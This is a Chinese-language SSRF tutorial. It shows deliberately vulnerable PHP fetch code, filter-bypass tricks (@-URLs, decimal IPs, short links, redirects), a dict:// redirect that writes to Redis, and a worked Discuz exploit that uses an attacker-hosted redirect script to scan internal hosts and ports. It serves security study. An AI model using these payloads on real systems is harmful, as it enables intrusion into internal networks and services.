SSRF
0x00 介绍
ssrf:
服务端请求伪造:是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞
作用:
用来访问外部网络无法访问的内网系统
0x01 威胁
- 扫描内部网络
- 向内部任意主机的任意端口发送精心构造的数据包(payload)
- DOS(请求大文件、始终保持keep-Alive Always)
- 暴力穷举(users/dirs/files)
0x02 成因
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
比如从指定url地址获取网页文本内容、加载指定地址的图片,下载等
PHP相关函数
file_get_content()
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
curl_exec()
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
fsockopen()
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
0x03 利用限制(以下情况不能利用)
- 服务器端开启openssl
- 服务器需要信息验证(账号、密码、cookie)
0x04 利用方式
- 对外网、服务器所在内网、本地进行端口扫描,获取一些banner信息
- 攻击运行在内网或本地的应用程序
- 对内网web应用进行指纹识别,通过访问默认文件
- 攻击内外网的web应用,主要使用get参数
- 使用file协议读取本地文件
0x05 寻找
1、从web功能上寻找
- 能够对外发起网络请求的地方
从远程服务器请求资源(upload from URL,import & Export RSS feed)
- Upload from URL:
- Discuz
- Import & Export RSS feed:
- web Blog
- 使用了XML引擎的地方:
- Wordpress xmlrpc.php
数据库内置功能(Oracle,MongoDB,MSSQL,Postgres,CouchDB,Redis)
webmail 收取其它邮箱邮件
- 文件处理,编码处理,属性信息处理
详情关注猪猪侠ppt
2、从url关键字中寻找
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
利用google hack
0x06 漏洞验证
基本判断(排除法)
查看发送数据包的情况,ssrf是由服务端发起的请求,如果存在ssrf漏洞 那么我们本地浏览器中将不存在对该图片的请求。
验证是否可以探测内网
找存在http服务的内网地址
- 从漏洞平台中的历史漏洞寻找泄露的内网地址
- 通过子域名暴力破解工具模糊猜测内网地址
0x07 过滤绕过
- 使用@
http://A.com@10.10.10.10
http://A.com:B@10.10.10.10 - ip地址转换成进制
115.239.210.26=16373751032
127.0.0.1=2130706433 - 使用短地址来生成内网地址
http://10.10.116.11 -> http://t.cn/RwbLKDx
- 端口绕过
http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.50.33.43:8080/
- xip.io
url=http://www.10.10.10.10.xip.io
- 通过跳转
<?php
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.icoa.cn");
?>
Discuz! SSRF
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://远程主机地址/302.php?helo.jpg[/img]
302.php
<?php
header("Location: dict://10.0.0.1:6379/set:1:helo"); # set 1
0x08 实例演示
- Discuz ssrf
首先Discuz
source/module/forum/forum_ajax.php文件
} elseif($_GET['action'] == 'downremoteimg') { $_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']); preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER); preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER); $temp = $aids = $existentimg = array(); if(is_array($image1) && !empty($image1)) { foreach($image1 as $value) { $temp[] = array( '0' => $value[0], '1' => trim(!empty($value[1]) ? $value[1] : $value[2]) ); } } if(is_array($image2) && !empty($image2)) { foreach($image2 as $value) { $temp[] = array( '0' => $value[0], '1' => trim($value[2]) ); } } require_once libfile('class/image'); if(is_array($temp) && !empty($temp)) { $upload = new discuz_upload(); $attachaids = array(); foreach($temp as $value) { $imageurl = $value[1]; $hash = md5($imageurl); if(strlen($imageurl)) { $imagereplace['oldimageurl'][] = $value[0]; if(!isset($existentimg[$hash])) { $existentimg[$hash] = $imageurl; $attach['ext'] = $upload->fileext($imageurl); if(!$upload->is_image_ext($attach['ext'])) { continue; } $content = ''; if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) { $content = dfsockopen($imageurl); } elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) { $imagereplace['newimageurl'][] = $value[0]; }
content=dfsockopen(
imageurl);
处,直接可以传入URL,造成SSRF
构造
通过构造一个远程的伪图片
172.16.77.145/discuz/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://le0nis.xyz/1.php?xxx.jpg[/img]
1.php
<?php
Header("Location:http://172.16.77.145");
?>
我们让其301到一个内网ip的80端口,然后根据整个请求完成的时间不同来判定该服务是否存在,构造链接如下
172.16.77.145/discuz/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://le0nis.xyz/1.php?s=http&ip=172.16.77.147&port=80&data=helo.jpg[/img]
1.php接收我们的参数
<?php
Header("Location:".$_GET['s']."://".$_GET['ip'].":".$_GET['port']."/".$_GET['data']);
?>
这样就构成了一个探测内网的批量程序
我们可以写脚本处理